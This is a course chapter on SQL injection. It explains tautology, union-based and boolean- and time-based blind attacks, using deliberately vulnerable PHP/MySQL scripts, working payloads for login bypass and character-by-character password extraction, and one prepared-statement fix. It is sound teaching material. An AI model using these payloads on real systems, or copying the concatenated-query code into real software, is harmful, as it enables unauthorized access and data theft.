DATABASE AUTHENTICATION AND AUTHORIZATION PROPOSED BY AZOBOU CEDRIC
CHAP3: SQL Injection Attacks
SQL Injection Attacks
• Objective: Understand SQL injection and how it exploits vulnerabilities in user input.
• Topics:
o What is SQL Injection?
o How SQL Injection Works (Tautology, Blind, Union-based, etc.)
o Real-world Examples of SQL Injection Exploits
• Practical Topic: Demonstrate a simple SQL injection attack on an insecure web application using a sample database
What is SQL Injection?
SQL Injection (SQLi) is a type of attack that targets the database layer of an application. It
occurs when an attacker inserts or "injects" malicious SQL code into a query through untrusted user
input. If the application does not properly validate or sanitize the input, the database may execute
unintended commands, potentially exposing or manipulating sensitive data.
Why is SQL Injection Dangerous?
• Attackers can bypass authentication.
• They can read, modify, or delete data.
• In severe cases, attackers may gain full control of the database server.
How SQL Injection Works – In General
Overview
SQL Injection works by injecting malicious SQL code into an input field or parameter that is used
directly in an SQL query. If the input isn't properly validated or sanitized, the database may interpret the
input as part of the SQL command itself—not just data.
1️ Tautology-Based SQL Injection
What It Is:
This method uses a condition that always evaluates to true (a tautology) to bypass authentication or filter
conditions.
Example:
Suppose a login form builds a query like this:
SELECT * FROM users WHERE username = '$user' AND password = '$pass';
Page 1 of 13
DATABASE AUTHENTICATION AND AUTHORIZATION PROPOSED BY AZOBOU CEDRIC
If the attacker inputs:
• user = 'admin'
• pass = ' OR '1'='1
The resulting SQL becomes:
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';
'1'='1' is always true, so the query returns all users — effectively bypassing authentication.
2️ Union-Based SQL Injection
What It Is:
This method uses the UNION SQL operator to combine the results of two SELECT queries. It's
often used to extract data from other tables.
Example:
A vulnerable query:
SELECT name, age FROM users WHERE id = '$id';
Attacker input:
id = 1 UNION SELECT username, password FROM admins;
Resulting query:
SELECT name, age FROM users WHERE id = 1
UNION
SELECT username, password FROM admins;
The attacker sees usernames and passwords from the admins table merged with the original result.
Notes:
• Columns in the injected query must match the number and types of columns in the original
query.
• Helpful error messages can reveal the structure and make exploitation easier.
3️ Blind SQL Injection
What It Is:
When the application doesn't show output of the query, the attacker infers information by observing the
behavior or response time.
Example (Boolean-Based):
Page 2 of 13
DATABASE AUTHENTICATION AND AUTHORIZATION PROPOSED BY AZOBOU CEDRIC
id = 1 AND 1=1 → page loads normally (true)
id = 1 AND 1=2 → page shows error or different content (false)
Attackers send payloads like:
id = 1 AND SUBSTRING((SELECT version()),1,1) = '5'
If the page behaves differently based on the result, the attacker can extract data one bit at a time.
Example (Time-Based):
id = 1 OR IF(SUBSTRING((SELECT user()),1,1)='r', SLEEP(5), 0)
If the server delays, the attacker knows the condition was true.
Type Purpose How It Works Use Case
Bypass login or
Tautology Injects OR 1=1 to always return true Login forms
conditions
Uses UNION to combine results from
Union-Based Extract data Data exfiltration
other queries
Blind No output shown; attacker relies on Silent, stealthy
Infer data
(Boolean/Time) logic/timing attacks
Tautology SQL Injection
What Is It?
Tautology-based SQL Injection is a technique where the attacker injects a conditional
statement that is always true (a tautology) into a vulnerable SQL query. This causes the SQL WHERE
clause to evaluate to TRUE, allowing unauthorized access to data — often bypassing login forms.
What’s a Tautology?
In logic, a tautology is a statement that is always true.
Example:
1=1
' OR 'a'='a'
These are always true regardless of other conditions.
Goal
By injecting a tautology into the query, the attacker bypasses authentication or extracts data,
even without valid credentials.
Page 3 of 13
DATABASE AUTHENTICATION AND AUTHORIZATION PROPOSED BY AZOBOU CEDRIC
Practical Example
Database Setup (MySQL)
Assume you have a users table:
CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(50),
password VARCHAR(50)
);
INSERT INTO users (username, password) VALUES ('admin', 'secret123');
Vulnerable PHP Code
<?php
$conn = new mysqli("localhost", "root", "", "testdb");
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = $conn->query($query);
if ($result->num_rows > 0) {
echo "Login successful!";
} else {
echo "Invalid credentials.";
?>
Vulnerable Behavior
If a user inputs:
• Username: ' OR '1'='1
• Password: ' OR '1'='1
Then the query becomes:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1';
Page 4 of 13
DATABASE AUTHENTICATION AND AUTHORIZATION PROPOSED BY AZOBOU CEDRIC
This simplifies to:
SELECT * FROM users WHERE TRUE AND TRUE;
→ So it always returns a result, bypassing authentication.
Breakdown of the Injection
Input:
username: ' OR '1'='1
password: ' OR '1'='1
Reconstructed SQL:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1';
Logical evaluation:
• '1'='1' is always true
• This makes the WHERE clause always true
• The attacker gets logged in without needing real credentials
Secure Version (Fix)
Use Prepared Statements to prevent injection:
<?php
$conn = new mysqli("localhost", "root", "", "testdb");
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$username = $_POST['username'];
$password = $_POST['password'];
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
echo "Login successful!";
Page 5 of 13
DATABASE AUTHENTICATION AND AUTHORIZATION PROPOSED BY AZOBOU CEDRIC
} else {
echo "Invalid credentials.";
?>
With prepared statements, injected strings are treated as data, not SQL code.
Blind SQL Injection
What is Blind SQL Injection?
Blind SQL Injection is a type of SQL Injection where an attacker sends malicious SQL queries to
the database, but unlike classic SQLi, the application does not return data directly in the response.
Instead, the attacker infers information based on behavioral responses like:
• Success/failure messages
• Response delays
• Page content differences
This makes Blind SQLi harder to detect but still dangerous.
Types of Blind SQL Injection
We distinguish at least 02 types of blind SQL injection which are:
• Boolean-Based Blind SQLi
• Time-Based Blind SQLi
Boolean-Based Blind SQLi
• Exploits true/false conditions to infer data.
• Example:
' AND 1=1 -- (returns true and works)
' AND 1=2 -- (returns false and behaves differently)
Time-Based Blind SQLi
• Uses SQL SLEEP() to delay the response if a condition is true.
• Example:
' AND IF(1=1, SLEEP(5), 0) -- (page delays 5 seconds)
Why It’s Dangerous
• Can be used to enumerate database tables, extract data, or gain admin access.
• Works even when output is hidden or filtered.
• Often bypasses Web Application Firewalls (WAF) and input filters.
Page 6 of 13
DATABASE AUTHENTICATION AND AUTHORIZATION PROPOSED BY AZOBOU CEDRIC
Practical Example: Vulnerable PHP Code with MySQL
Scenario: Login Form
HTML Form ([Link])
<form method="POST" action="[Link]">
Username: <input name="username">
Password: <input name="password" type="password">
<button type="submit">Login</button>
</form>
Vulnerable PHP Script ([Link])
<?php
$conn = new mysqli("localhost", "root", "", "testdb");
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = $conn->query($query);
if ($result->num_rows > 0) {
echo "Login successful!";
} else {
echo "Invalid credentials.";
?>
Blind SQLi Exploit Examples
1️. Boolean-Based Attack
Goal: Detect if the username is admin. Indeed, we want to detect whether a user with the username
'admin' exists in the database — without getting any direct output or error messages. The attacker
uses Boolean logic in the SQL query to change the behavior of the application and infer whether the
condition was TRUE or FALSE.
The Vulnerable Query (Original)
Here’s the original, vulnerable PHP query:
Page 7 of 13
DATABASE AUTHENTICATION AND AUTHORIZATION PROPOSED BY AZOBOU CEDRIC
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
If a user enters admin and 1️2️3️4, it becomes:
SELECT * FROM users WHERE username = 'admin' AND password = '1234';
If this query finds a matching row in the database, the app shows: Login successful! else: Invalid
credentials.
The Payload (SQL Injection Input)
The attacker injects the following as the username input: ' OR (SELECT 1 FROM dual WHERE
username='admin')--
This payload breaks the intended query structure and inserts a subquery with a Boolean condition.
Reconstructed SQL Query
When the attacker inputs the above payload, and let's say the password field is empty or anything
(ignored), the full SQL query becomes:
SELECT * FROM users WHERE username = '' OR (SELECT 1 FROM dual WHERE username='admin')-- '
AND password = '';
The part after -- is treated as a comment, so the database ignores it.
Now the query simplifies to:
SELECT * FROM users WHERE username = '' OR (SELECT 1 FROM dual WHERE username='admin');
Step-by-Step Breakdown
1. username = '' → This is FALSE unless there’s a user with an empty username.
2. OR → This means if either condition is TRUE, the whole WHERE clause is TRUE.
3. (SELECT 1️ FROM dual WHERE username='admin'):
o This is a subquery that tries to select 1 if there's a row in the dual table (in MySQL, dual
can be used for dummy selects) where username='admin'.
o If the admin user exists, this subquery returns a value → the whole WHERE clause is
TRUE.
Thus, the final effect is:
• If admin exists, the query evaluates to TRUE → a row is returned → "Login successful".
• If admin does not exist, the subquery fails → the WHERE clause is FALSE → "Invalid
credentials".
What’s Being "Blindly" Inferred?
Although no actual data (like password) is returned, the attacker observes the application behavior:
• Behavior A: Login successful! → Admin exists.
• Behavior B: Invalid credentials. → Admin does not exist.
Page 8 of 13
DATABASE AUTHENTICATION AND AUTHORIZATION PROPOSED BY AZOBOU CEDRIC
This is the essence of Boolean-Based Blind SQL Injection: use of TRUE/FALSE conditions to extract
information, one bit at a time.
2️. Time-Based Attack
Goal
The attacker wants to determine the first character of the password for the user admin without
directly seeing the data, by measuring the page’s response time.
The Payload (Injected in the Username Field)
' OR IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0)--
Vulnerable Query Before Injection
The original PHP code likely looks like this:
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
If a user enters this payload as the username and anything as the password, the resulting SQL query
becomes:
SELECT * FROM users WHERE username = '' OR IF(SUBSTRING((SELECT password FROM users
WHERE username='admin'),1,1)='a', SLEEP(5), 0)-- ' AND password = '';
Note: Everything after -- is a comment and ignored by the SQL engine.
Detailed Breakdown
Let’s dissect each part of this payload:
1️. IF(condition, true_result, false_result)
This MySQL function executes true_result if condition is true; otherwise, it runs false_result.
2️. SUBSTRING((SELECT password FROM users WHERE username='admin'),1️,1️)
This gets:
• The password of user admin.
• Then extracts the first character of that password.
3️. = 'a'
This compares the extracted character to 'a'.
4. SLEEP(5)
If the comparison is true, the database delays the response for 5 seconds.
5. Final logic
So this part:
IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0)
Page 9 of 13
DATABASE AUTHENTICATION AND AUTHORIZATION PROPOSED BY AZOBOU CEDRIC
means:
• If the first character of the admin password is 'a', wait 5 seconds before responding.
• Otherwise, respond immediately.
How the Attacker Infers Information
Even though the app does not show any database output, the attacker watches how long it takes for the
page to respond.
Case 1️: First character is 'a'
• Condition is TRUE.
• DB sleeps for 5 seconds.
• Web page is slow to load → attacker concludes: first character is 'a'.
Case 2️: First character is not 'a'
• Condition is FALSE.
• DB returns instantly.
• Web page loads fast → attacker concludes: not 'a'.
Repeating to Extract the Full Password
The attacker can automate this process to extract the full password, one character at a time:
' OR IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),2,1)='b', SLEEP(5), 0)--
• Try character a through z, A-Z, 0-9, etc.
• Wait for a 5-second delay to find the correct match.
• Repeat for positions 1, 2, 3...n.
This is known as a brute-force character inference attack using time delays.
Union based SQL Injection
What Is It?
Union-Based SQL Injection is a technique that uses the UNION SQL operator to combine the results
of two or more SELECT queries. It allows an attacker to retrieve data from other tables in the database
— even if the application doesn’t normally return that data.
The attacker injects a UNION SELECT statement to append a malicious query that returns sensitive data
like usernames, passwords, emails, etc.
Page 10 of 13
DATABASE AUTHENTICATION AND AUTHORIZATION PROPOSED BY AZOBOU CEDRIC
SQL UNION Operator Recap
The UNION operator is used to combine the results of two or more SELECT queries:
• Each SELECT must return the same number of columns
• The data types must be compatible
Example:
SELECT id, username FROM users
UNION
SELECT 1, 'admin';
Practical Scenario: PHP + MySQL Example
Database Setup
Assume a table products:
CREATE TABLE products (
id INT,
name VARCHAR(50),
price DECIMAL(10,2)
);
And another hidden table users:
CREATE TABLE users (
id INT,
username VARCHAR(50),
password VARCHAR(50)
);
INSERT INTO users (username, password) VALUES ('admin', 'secret123');
Vulnerable PHP Script ([Link])
<?php
$conn = new mysqli("localhost", "root", "", "testdb");
Page 11 of 13
DATABASE AUTHENTICATION AND AUTHORIZATION PROPOSED BY AZOBOU CEDRIC
$id = $_GET['id'];
$query = "SELECT name, price FROM products WHERE id = $id";
$result = $conn->query($query);
while ($row = $result->fetch_assoc()) {
echo "Product: " . $row['name'] . "<br>";
echo "Price: " . $row['price'] . "<br>";
?>
If user accesses: [Link]?id=1
The query becomes: SELECT name, price FROM products WHERE id = 1;
Exploiting via UNION-Based SQL Injection
Goal: Extract admin credentials from users table
Step 1️: Test for vulnerability
Try:
[Link]?id=1 UNION SELECT NULL, NULL
If it doesn’t throw an error, we know we can inject a UNION.
Step 2️: Find the number of columns
Try variations like:
[Link]?id=1 UNION SELECT 1,2
[Link]?id=1 UNION SELECT 1,2,3
→ Stop when the page doesn’t throw an error. That means you've found the correct number of columns.
Assume: 2 columns (as in original SELECT name, price)
Step 3️: Extract Data
Now use:
[Link]?id=1 UNION SELECT username, password FROM users
Final SQL query:
SELECT name, price FROM products WHERE id = 1
Page 12 of 13
DATABASE AUTHENTICATION AND AUTHORIZATION PROPOSED BY AZOBOU CEDRIC
UNION
SELECT username, password FROM users;
Result
The output may look like:
Product: admin
Price: secret123
Even though you're browsing [Link], you're now seeing sensitive user data.
Page 13 of 13